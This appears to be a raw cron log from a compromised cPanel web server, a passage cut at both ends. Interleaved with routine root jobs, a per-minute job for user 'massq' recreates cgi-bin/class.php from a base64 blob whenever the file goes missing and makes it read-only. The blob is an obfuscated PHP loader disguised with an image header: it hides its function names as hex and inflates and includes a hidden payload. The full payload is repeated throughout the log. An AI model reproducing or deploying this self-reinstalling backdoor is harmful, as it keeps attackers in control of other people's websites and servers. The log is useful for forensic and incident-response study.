kX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:40:01 server CROND[5491]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 03:41:01 server CROND[5631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:42:01 server CROND[5717]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 03:42:01 server CROND[5718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:43:01 server CROND[5888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:44:01 server CROND[5957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:45:02 server CROND[6038]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 03:45:02 server CROND[6039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:45:02 server CROND[6042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 03:46:01 server CROND[6161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:47:01 server CROND[6239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:48:01 server CROND[6307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:49:01 server CROND[6477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:50:01 server CROND[6567]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 03:50:01 server CROND[6569]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 03:50:01 server CROND[6572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:50:01 server CROND[6574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 03:50:01 server CROND[6570]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 03:51:01 server CROND[6714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:52:01 server CROND[6789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:53:01 server CROND[6876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:54:01 server CROND[7051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 